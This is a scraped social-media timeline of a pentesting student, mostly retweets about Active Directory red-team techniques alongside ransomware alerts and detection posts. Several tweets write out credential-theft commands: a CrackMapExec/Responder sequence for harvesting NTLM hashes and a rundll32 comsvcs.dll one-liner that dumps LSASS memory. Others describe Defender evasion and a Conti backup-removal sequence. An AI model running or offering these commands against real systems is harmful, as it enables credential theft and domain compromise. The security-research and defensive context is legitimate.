Sergey Senin @reverse__ex
Im a student of #BMSTU. Learn C\C++, also pentest. #redteam #blueteam love LSD :) and coffee ;) 24 y.o. Moscow Joined January 2021-
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/* Cobalt Strike Backup Removal Sequence: Conti Operator Guide 1⃣mimikatz & DCsync of backup users | 2⃣Find privileged users for backup svc | 3⃣Impersonate a priv backup user | 4⃣Backup Exfil & Removal | Lock advintel.io/post/backup-re… */
Figured it was high time for another update to my AD cheat sheet! Pushed some new techniques, and made changes to the Defender evasion, RBCD, Domain Enumeration, Rubeus, and Mimikatz sections as well as fixing some whoopsies 🙃 casvancooten.com/posts/2020/11/…
#BlackMatter #Ransomware personal extension .51yupKSuX Ransom note;51yupKSuX.README.txt Sample VT virustotal.com/gui/file/22d7d…
New modules for CrackMapExec thanks to @HackAndDo and @qtc_de ✌️💪 1⃣ Quickly get the fqdn of the ADCS server in order to perform ESC8 attack 2⃣ Lsassy module updated to use version 3.0 ! 3⃣ Yet yet another module to find sensitives info from user descriptions 👀 🪂
In case you want to see something cool about CrackMapExec and Responder 😌😋 1⃣ cme smb <ip> -u user -p pass --shares 2⃣ Responder -I eth0 3⃣ cme smb <ip> -u user -p pass -M slinky -o ... Harvest ntlmv2/v1 credentials in no time if you have write access to a share 🔥 🪂
The sponsor version of CrackMapExec has been pushed into the public repo of CME 💪 All the juicy features are now public after a big latency of 8 months. I will update the doc to match the new features 🔥 Thanks again for all the support 👏 github.com/byt3bl33d3r/Cr…
"All our admin are in the Protected Users group, we must be secure !" The actual security 🔽 1⃣ Dump kerberos tickets with lsassy (thanks to @remiescourrou) 2⃣ Convert & Import 🔄 3⃣ CrackMapExec <fqdn> -u user -p '' -k 4⃣ You have 4-hour to compromise the domain 🔥😋 🪂
🆕 [NEW Blogpost] 👉 Detecting CONTI CobaltStrike Lateral Movement Techniques - Part 2 unh4ck.com/detection-engi… Hope it can help 😊
From Zero to Domain Admin ➡️Initial Access: Maldoc deploys Hancitor ➡️C2: #CobaltStrike & #Hancitor ➡️Discovery: net, nltest, check.exe, AD module, scan for backup systems ➡️Privilege Escalation: Zerologon CVE-2020-1472 thedfirreport.com/2021/11/01/fro…
Got a quick look at L0phtCrack, it can: - fetch Active Directory domain hashes from a domain controller, using DCSync and given elevated privileges gitlab.com/l0phtcrack/l0p… - fetch local users hashes by injecting into LSASS gitlab.com/l0phtcrack/l0p…
Got a quick look at L0phtCrack, it can: - fetch Active Directory domain hashes from a domain controller, using DCSync and given elevated privileges gitlab.com/l0phtcrack/l0p… - fetch local users hashes by injecting into LSASS gitlab.com/l0phtcrack/l0p… https://t.co/h1obgDA5KD
New from @CISAgov - BlackMatter Ransomware Alert (AA21-291A) includes updated TTPs, detection signatures and mitigations. us-cert.cisa.gov/ncas/alerts/aa… #ransomware #extortion #BlackMatter
#CredentialDumping without Mimikatz Used to see this used years ago by APT groups, now seeing ransomware, pentesters and other TAs use this non stop 😭 rundll32.exe comsvcs.dll, MiniDump (Get-Process lsass).Id Temp\<NAME>.dmp full;Wait-Process -Id (Get-Process rundll32).id
Heads up, another wave of #Dridex HTA dropper maldocs has gone out. All 2nd stage URLs are on #Discord CDN again. 2nd stage URLs are available at gist.github.com/kirk-sayre-wor…
To extract files from Veeam backup you need this utility only. ff8e797fd091f2d1883980af541a493c extract.exe. Your welcome. #DFIR
Need to download mimikatz (or some other nasty stuff) without alerting Windows Defender Antivirus? Paste these 3 lines into the command line 👇👇👇 1/2
So now we are in 2021 and everyone is using LAPS (cough cough), it is time for CrackMapExec to level up the game. I've added a new core function "--laps", so if you have compromised an account that can read LAPS pass, you can conquer the world now 🔥 Pushed on @porchetta_ind 🪂

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